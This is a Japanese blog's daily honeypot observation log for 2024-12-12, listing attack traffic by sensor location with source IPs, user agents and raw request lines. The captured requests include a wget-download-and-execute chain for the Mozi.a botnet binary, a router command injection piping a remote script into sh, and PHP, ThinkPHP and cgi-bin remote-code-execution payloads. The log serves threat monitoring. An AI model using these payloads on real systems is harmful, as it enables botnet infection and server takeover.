コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2024/12/12 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2024/12/12分です。

特徴
共通

CensysInspectによるスキャン行為
zgrabによるスキャン行為
/.envへのスキャン行為
/.gitへのスキャン行為

Location:JP

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
PHPの脆弱性(CVE-2024-4577)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
curlによるスキャン行為
wpbotによるスキャン行為
.jsへのスキャン行為
configファイルへのスキャン行為
UserAgentがHello, Worldであるアクセス

を確認しました。

Location:US

GPONルータの脆弱性を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
Odinによるスキャン行為
Apache Solrへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://180.115.174.111:42254/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
Location:UK

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
PHPの脆弱性(CVE-2024-4577)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
TP-Link製品の脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
.jsへのスキャン行為
configファイルへのスキャン行為

を確認しました。

Location:SG

GPONルータの脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
.jsへのスキャン行為
configファイルへのスキャン行為

を確認しました。

他
アクセス数推移

JP：総アクセス数：147 (前日比：-411)
US：総アクセス数：102 (前日比：-48)
UK：総アクセス数：143 (前日比：-18)
SG：総アクセス数：89 (前日比：-40)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 2.57.122.161 Romania
1 8.215.81.217 Singapore
1 27.210.237.5 China
1 34.222.208.243 United States
1 45.79.181.251 United States
2 45.95.169.130 Croatia
1 47.88.94.28 United States
1 51.8.220.45 Germany
4 51.161.80.229 Canada
9 51.161.82.191 Canada
5 51.161.83.117 Canada
1 64.62.197.87 United States
23 64.91.244.104 United States
1 80.82.77.202 United Kingdom
2 87.120.115.34 Bulgaria
1 87.120.115.119 Bulgaria
1 93.174.93.12 United Kingdom
11 101.32.192.203 Singapore
1 117.200.177.144 India
45 130.61.45.99 United States
10 147.182.152.227 United States
1 150.158.48.125 China
2 167.94.138.59 United States
1 172.104.11.4 United States
1 172.104.11.46 United States
1 172.105.128.11 United States
1 172.169.111.185 United States
1 173.255.221.189 United States
1 180.116.65.144 China
4 185.142.236.43 Seychelles
2 185.187.72.221 Hungary
1 188.166.85.54 United States
1 195.3.223.52 Poland
4 202.112.238.240 China
2 205.210.31.93 United States
1 213.176.64.178 Iran

UserAgent一覧

件数 UserAgent
22 -
46 Custom-AsyncHttpClient
2 Go-http-client/1.1
1 Hello, World
1 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
1 Mozilla/5.0 (Linux; Android 10; LIO-AN00 Build/HUAWEILIO-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Mobile Safari/537.36
1 Mozilla/5.0 (Linux; Android 5.1; C6740N Build/LMY47O) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.111 Mobile Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.87 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 14.1) AppleWebKit/616.8 (KHTML, like Gecko) Version/17.2.12 Safari/616.8
1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
1 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
11 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
5 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
18 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1 Mozilla/5.0 (compatible; wpbot/1.2; +https[:]//forms[.]gle/ajBaxygz9jSR8p8G9)
2 Mozilla/5.0 zgrab/0.x
2 Mozilla/5.0
1 curl/8.1.2
23 python-requests/2.32.3

リクエスト内容一覧

件数 Method Request Protocol
1 MGLNDD_18.179.20.5_80\n
13 \x16\x03\x01
2 \x16\x03\x02\x01o\x01
1 GET /.blog HTTP/1.1
1 GET /.env.backup HTTP/1.1
1 GET /.env.example HTTP/1.1
1 GET /.env.local HTTP/1.1
1 GET /.env.save HTTP/1.1
21 GET /.env HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET /1.php HTTP/1.1
1 GET /3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3 HTTP/1.1
1 GET /API/.env HTTP/1.1
1 GET /Dr6p HTTP/1.1
1 GET /Public/home/js/check.js HTTP/1.1
1 GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /_profiler/phpinfo HTTP/1.1
1 GET /admin/.env HTTP/1.1
1 GET /admin/config.php HTTP/1.0
1 GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /api/.env HTTP/1.1
1 GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /app/.env HTTP/1.1
1 GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /blog/.env HTTP/1.1
1 GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /blog HTTP/1.1
1 GET /boaform/admin/formLogin?username=ec8&psd=ec8 HTTP/1.0
1 GET /cmd.cgi HTTP/1.1
1 GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /containers/json HTTP/1.1
1 GET /core/.env HTTP/1.1
1 GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /dev/.env HTTP/1.1
3 GET /favicon.ico HTTP/1.1
1 GET /form.html HTTP/1.1
1 GET /geoip/ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1
1 GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php HTTP/1.1
1 GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1
1 GET /jquery-3.3.1.min.js HTTP/1.1
1 GET /laravel/.env HTTP/1.1
1 GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /password.php HTTP/1.1
1 GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /public/.env HTTP/1.1
1 GET /public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1
1 GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /robots.txt HTTP/1.1
1 GET /server/.env HTTP/1.1
1 GET /shop/.env HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /sites/.env HTTP/1.1
1 GET /stalker_portal/c/xpcom.common.js HTTP/1.1\n
1 GET /system/.env HTTP/1.1
1 GET /systembc/password.php HTTP/1.1
1 GET /t4 HTTP/1.1
1 GET /test/.env HTTP/1.1
1 GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /upl.php HTTP/1.1
1 GET /vendor/.env HTTP/1.1
1 GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /web HTTP/1.1
1 GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
11 HEAD /Core/Skin/Login.aspx HTTP/1.1
1 POST /FD873AC4-CF86-4FED-84EC-4BD59C6F17A7 HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
1 POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
2 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
1 POST /index.htm HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 2.57.122.161 Romania
1 4.255.101.253 United States
1 20.225.3.171 United States
2 45.134.26.5 Russia
1 52.226.2.121 United States
1 64.62.197.210 United States
1 65.49.1.42 United States
1 65.49.1.47 United States
1 65.49.1.48 United States
3 68.183.215.88 United States
2 80.82.77.202 United Kingdom
1 81.161.238.40 Bulgaria
1 87.120.115.34 Bulgaria
1 87.120.115.119 Bulgaria
3 92.255.57.58 Hong Kong
2 93.174.93.12 United Kingdom
1 104.209.35.8 United States
1 104.248.17.71 United States
1 104.248.251.37 United States
1 117.209.89.10 India
1 117.253.105.31 India
3 134.122.106.248 United States
1 134.209.251.49 United States
1 134.209.255.80 United States
1 139.59.101.104 Singapore
12 152.42.219.47 United States
6 152.42.247.210 United States
2 154.213.184.43 Hong Kong
1 159.89.179.98 United States
4 159.223.17.1 United States
2 159.223.67.34 United States
2 159.223.69.51 United States
10 162.19.236.43 France
6 162.19.237.132 France
7 162.19.239.42 France
2 167.172.164.129 United States
1 169.150.196.146 United States
2 178.128.54.126 United States
1 180.115.174.111 China
1 185.208.156.160 United States
1 188.166.166.2 United States
1 188.213.202.148 Netherlands
1 195.3.223.52 Poland
2 198.235.24.164 United States
2 205.210.31.35 United States
2 206.168.34.216 United States

UserAgent一覧

件数 UserAgent
32 -
8 Go-http-client/1.1
1 Hello, World
1 Hello, world
1 Mozilla/5.0 (Linux; Android 9; SM-G965U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.101 Mobile Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
23 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
1 Mozilla/5.0 (compatible)
1 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
4 Mozilla/5.0 (compatible; Odin; https[:]//docs[.]getodin[.]com/)
7 Mozilla/5.0 zgrab/0.x
13 Mozilla/5.0
1 Opera/9.80 (Android 4.0.4; Linux; Opera Mobi/ADR-1205181138; U; pl) Presto/2.10.254 Version/12.00
1 python-requests/2.31.0

リクエスト内容一覧

件数 Method Request Protocol
1 MGLNDD_34.68.118.83_80\n
2 \x03
1 \x16\x03\x01\x01$\x01
12 \x16\x03\x01\x01\v\x01
1 \x16\x03\x01\x05\xa8\x01
9 \x16\x03\x01
4 \x16\x03\x02\x01o\x01
2 CONNECT www[.]google[.]com:443 HTTP/1.1
25 GET /.env HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3 HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /HNAP1 HTTP/1.1
1 GET /_profiler/phpinfo HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /boaform/admin/formLogin?username=ec8&psd=ec8 HTTP/1.0
13 GET /cdn-cgi/trace HTTP/1.1
1 GET /cgi-bin/authLogin.cgi HTTP/1.1
1 GET /cmd.cgi HTTP/1.1
1 GET /evox/about HTTP/1.1
1 GET /ews HTTP/1.1
4 GET /favicon.ico HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /odinhttpcall1733920618 HTTP/1.1
1 GET /owa HTTP/1.1
1 GET /phpmyadmin/scripts/setup.php HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1
1 GET /raephaeyeip4fawe HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//180[.]115[.]174[.]111:42254/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws HTTP/1.1
1 GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1
1 GET /solr/admin/info/system HTTP/1.1
1 GET /v2/_catalog HTTP/1.1
1 GET /webui/ HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /sdk HTTP/1.1
1 PRI * HTTP/2.0
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 4.255.99.105 United States
1 20.118.71.68 United States
3 31.220.1.88 Germany
45 36.139.63.123 China
1 40.118.210.70 United States
1 45.33.80.243 United States
1 45.79.181.179 United States
3 45.134.26.5 Russia
3 57.129.64.10 France
1 64.62.197.167 United States
1 64.62.197.169 United States
1 64.62.197.172 United States
1 65.49.1.103 United States
4 71.6.135.131 United States
1 80.82.77.202 United Kingdom
3 87.120.115.34 Bulgaria
1 87.120.115.119 Bulgaria
1 87.120.120.18 Bulgaria
3 92.255.57.58 Hong Kong
2 93.174.93.12 United Kingdom
4 94.102.49.190 United Kingdom
1 104.40.49.68 United States
1 139.59.101.104 Singapore
2 152.42.247.210 United States
2 154.213.184.43 Hong Kong
1 154.216.16.144 Hong Kong
1 159.65.33.44 United States
2 159.223.69.51 United States
19 162.19.236.43 France
5 162.19.237.132 France
2 167.94.145.102 United States
2 178.128.54.126 United States
1 178.215.236.240 Bulgaria
11 181.49.205.58 Colombia
2 188.227.186.53 United Kingdom
1 193.200.78.252 Switzerland
1 195.3.223.52 Poland
1 198.27.81.136 Canada
2 198.235.24.28 United States
2 199.45.154.125 United States
2 205.210.31.174 United States

UserAgent一覧

件数 UserAgent
29 -
45 Custom-AsyncHttpClient
6 Go-http-client/1.1
1 Mozilla/5.0 (Linux; Android 8.0.0; moto e5 cruise Build/OCPS27.91-157-12) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.91 Mobile Safari/537.36
1 Mozilla/5.0 (Linux; Android 9; SM-G950F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.143 Mobile Safari/537.36
1 Mozilla/5.0 (Linux; Android 9; SM-G960U1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 14.1) AppleWebKit/618.27 (KHTML, like Gecko) Version/17.4 Safari/618.27
1 Mozilla/5.0 (MeeGo; NokiaN9) AppleWebKit/534.13 (KHTML, like Gecko) NokiaBrowser/8.5.0 Mobile Safari/534.13
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
24 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
1 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.102 Safari/537.36 Vivaldi/2.0.1309.3
1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (compatible)
2 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
3 Mozilla/5.0 zgrab/0.x
5 Mozilla/5.0
11 xfa1

リクエスト内容一覧

件数 Method Request Protocol
1 MGLNDD_132.145.66.34_80\n
1 SSH-2.0-Go
3 \x03
3 \x16\x03\x01\x01\v\x01
1 \x16\x03\x01\x05\xa8\x01
9 \x16\x03\x01
3 \x16\x03\x02\x01o\x01
1 CONNECT google[.]com:443 HTTP/1.1
2 CONNECT www[.]google[.]com:443 HTTP/1.1
29 GET /.env HTTP/1.1
1 GET /.git/config HTTP/1.1
2 GET /.well-known/security.txt HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /_profiler/phpinfo HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /actuator/health HTTP/1.1
5 GET /admin/assets/js/views/login.js HTTP/1.0
6 GET /admin/config.php HTTP/1.0
1 GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
5 GET /cdn-cgi/trace HTTP/1.1
3 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103[.]149[.]87[.]69%2Ft+-O-+|+sh%60) HTTP/1.1
1 GET /cmd.cgi HTTP/1.1
1 GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /containers/json HTTP/1.1
1 GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
6 GET /favicon.ico HTTP/1.1
2 GET /geoserver/web/ HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1
1 GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php HTTP/1.1
1 GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1
1 GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1
1 GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /robots.txt HTTP/1.1
2 GET /sitemap.xml HTTP/1.1
1 GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /web HTTP/1.1
1 GET /webui/ HTTP/1.1
1 GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
2 PRI * HTTP/2.0
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 13.91.165.212 United States
1 20.43.231.233 United States
1 45.61.146.184 United States
2 45.134.26.5 Russia
1 45.135.232.21 Russia
1 59.182.243.41 India
5 64.23.201.216 United States
1 64.62.197.19 United States
2 64.62.197.27 United States
1 64.62.197.187 United States
1 77.239.211.74 Russia
2 80.82.77.202 United Kingdom
1 84.239.18.54 Romania
2 87.120.115.34 Bulgaria
1 87.120.115.119 Bulgaria
3 92.255.57.58 Hong Kong
1 93.174.93.12 United Kingdom
3 95.46.73.110 Czechia
1 103.78.148.233 India
3 154.213.184.43 Hong Kong
4 159.223.67.34 United States
2 159.223.69.51 United States
16 162.19.236.43 France
6 162.19.237.132 France
3 164.52.24.188 China
2 165.154.36.102 Hong Kong
3 165.154.182.53 Hong Kong
1 172.168.40.200 United States
1 172.202.177.49 United Kingdom
2 172.245.24.172 United States
1 178.215.236.240 Bulgaria
1 185.224.128.17 Netherlands
2 190.164.105.49 Chile
1 195.3.223.52 Poland
2 198.235.24.30 United States
2 198.235.24.215 United States
2 199.45.154.128 United States
2 206.168.34.196 United States
1 206.189.185.229 United States
1 213.176.64.178 Iran

UserAgent一覧

件数 UserAgent
25 -
6 Go-http-client/1.1
1 HTMLParser/1.6
1 Mozilla/5.0 (Linux; Android 8.0.0; MI 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.101 Mobile Safari/537.36
3 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 14.3) AppleWebKit/616.24 (KHTML, like Gecko) Version/17.2 Safari/616.24
1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
